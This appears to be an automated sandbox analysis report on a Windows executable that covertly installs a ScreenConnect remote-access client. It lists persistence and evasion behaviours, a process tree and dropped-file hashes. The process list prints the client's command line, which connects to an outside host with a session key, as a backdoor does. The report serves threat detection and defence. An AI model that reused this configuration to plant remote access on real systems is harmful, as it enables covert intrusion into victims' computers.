Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/04/2026, 09:18

General

  • Target
    edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8.exe
  • Size 5.4MB
  • Sample260420-k9mprses2j
  • SHA256 edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8.exe
    "C:\Users\Admin\AppData\Local\Temp\edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\93e544c1d065d4fc\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1228
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DF1056BE92B327B649702350C47302FB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4520
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBAFE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240696203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4708
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3768
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 666D50A418F778CADB3E09A8A28609BC
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4864
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2E83F783E38AED88F6B8F51DCD507B20 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2936
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4068
    • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=dwssa.top&p=8041&s=2fbbf213-a7e0-4afc-a4c7-de6ede4b9ccc&k=BgIAAACkAABSU0ExAAgAAAEAAQBtA1QwnxmDJgtg5PSQKM2%2fXrI5tSvGXmobxKkpApfKRxNFds%2bAugKwIdxjohpe2e5g3JX%2bNW7Ud7QqxEwJCnkQ2P74R9wWgjFP9TldixXqM%2bjDxYI%2ffVSSK8Z5VPE3KZihrLqX7XnUCm7hKENugXVTpRbEY8if4It1oTHHdD%2f6%2fd%2b3uhTNg%2f418AN6A6GJf22t%2ffti0quDPPZ1kpkEmolUJDEH6pp%2f1UhDr7dtzVjA4iFa0Dp6sUth%2bKKk0UIO%2bBogCEAgcVyvPFToAf%2f0XH4g7geDuLAukDSN7N1AleZY9WkZ9n4q%2fW1rl6lvyAD1YPR3y%2ffpaKIxtGEjS4KCDZzD&c=Transport%2020%20may&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "aae1122b-6043-46ab-9195-c3e63513f509" "User"
        2⤵
        • Executes dropped EXE
        PID:2416
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "f8f932f9-5643-43f5-8e14-4a236d4781b9" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4012

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58f931.rbs

          • Path C:\Config.Msi\e58f931.rbs
          • Size 214KB
          • SHA256 247c7f426cdb12c09be1684263026656f49adced76eee783bcf7fd524e3b2e9b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.en-US.resources
          • Size 273B
          • SHA256 9fe5c3b34d425e03f2c989339e51bbff467ce8c85aa28368b86d7dae82376432
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.resources
          • Size 257B
          • SHA256 881a6833d2845154005f4ca1df7302b531ba0076215278f3bac85fa889bcef40
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\app.config
          • Size 1KB
          • SHA256 e8b6f0e908926adc2c1fed9621697b083a20ce0f373b1f6aa00b649569f3f8cd
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\system.config
          • Size 947B
          • SHA256 4ee0491508c34424637f368d17cb2f6a1345a02ee6840e2b4898e6f83522979d
          • MD5 SHA1 SHA512 TLSH

          MSIBAFE.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBAFE.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBAFE.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBAFE.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBAFE.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBAFE.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\93e544c1d065d4fc\ScreenConnect.ClientSetup.msi
          • Size 12.7MB
          • SHA256 4e247258b1f03ec4ea41bc76c77ada70faa8dae2d9fb038a53da7bd25fa6b123
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIFA5A.tmp

          • Path C:\Windows\Installer\MSIFA5A.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 a3af9534b4b428ec6740b79a1785c8df46a0ad0e3ba23c6b84856e774b542a50
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {984f41b6-1cbe-428b-a376-0a777e117edd}_OnDiskSnapshotProp

          • Path \??\Volume{e2a40a55-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{984f41b6-1cbe-428b-a376-0a777e117edd}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 15dc754e3c27526d23642e2658279eaa2001087ed6b9cc03717891e0f0c9fabc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1160-112-0x0000000004310000-0x0000000004351000-memory.dmp

          memory/1160-103-0x00000000040D0000-0x0000000004120000-memory.dmp

          memory/1160-110-0x00000000043B0000-0x0000000004442000-memory.dmp

          memory/1160-114-0x0000000004590000-0x0000000004662000-memory.dmp

          memory/1160-92-0x0000000003E30000-0x0000000003E48000-memory.dmp

          memory/1160-107-0x0000000004120000-0x0000000004156000-memory.dmp

          memory/1160-150-0x0000000003E50000-0x0000000003E71000-memory.dmp

          memory/1228-50-0x0000000000960000-0x00000000009A5000-memory.dmp

          memory/1228-139-0x0000000000960000-0x00000000009A5000-memory.dmp

          memory/2416-143-0x0000000000F60000-0x0000000000F78000-memory.dmp

          memory/2416-141-0x000000001B8B0000-0x000000001BA5A000-memory.dmp

          memory/2416-137-0x0000000000710000-0x00000000007A6000-memory.dmp

          memory/2416-142-0x000000001BA60000-0x000000001BBE6000-memory.dmp

          memory/2416-140-0x000000001B670000-0x000000001B6FC000-memory.dmp

          memory/2416-138-0x000000001B2A0000-0x000000001B2D6000-memory.dmp

          memory/2416-144-0x000000001B260000-0x000000001B278000-memory.dmp

          memory/2484-0-0x0000000002FD0000-0x0000000002FE0000-memory.dmp

          memory/2484-7-0x0000000005FD0000-0x0000000006574000-memory.dmp

          memory/2484-4-0x0000000005430000-0x00000000054BC000-memory.dmp

          memory/2484-3-0x0000000005730000-0x0000000005A20000-memory.dmp

          memory/2484-11-0x0000000001460000-0x00000000014A5000-memory.dmp

          memory/2484-8-0x0000000002FD0000-0x0000000002FE0000-memory.dmp

          memory/2484-5-0x00000000054C0000-0x00000000054E2000-memory.dmp

          memory/2484-2-0x0000000002FD0000-0x0000000002FE0000-memory.dmp

          memory/2484-1-0x0000000002E80000-0x0000000002E88000-memory.dmp

          memory/2484-6-0x00000000054E0000-0x000000000568A000-memory.dmp

          memory/2936-131-0x0000000001210000-0x0000000001255000-memory.dmp

          memory/3808-51-0x00000212F1670000-0x00000212F16C5000-memory.dmp

          memory/3808-146-0x00000212F1670000-0x00000212F16C5000-memory.dmp

          memory/4520-132-0x0000000000570000-0x00000000005B5000-memory.dmp

          memory/4520-52-0x0000000000570000-0x00000000005B5000-memory.dmp

          memory/4708-31-0x0000000002770000-0x000000000279E000-memory.dmp

          memory/4708-35-0x00000000027B0000-0x00000000027BA000-memory.dmp

          memory/4708-39-0x0000000002890000-0x000000000291C000-memory.dmp

          memory/4708-49-0x00000000007D0000-0x0000000000815000-memory.dmp

          memory/4708-43-0x0000000004E90000-0x000000000503A000-memory.dmp

          memory/4864-130-0x0000000000B30000-0x0000000000B75000-memory.dmp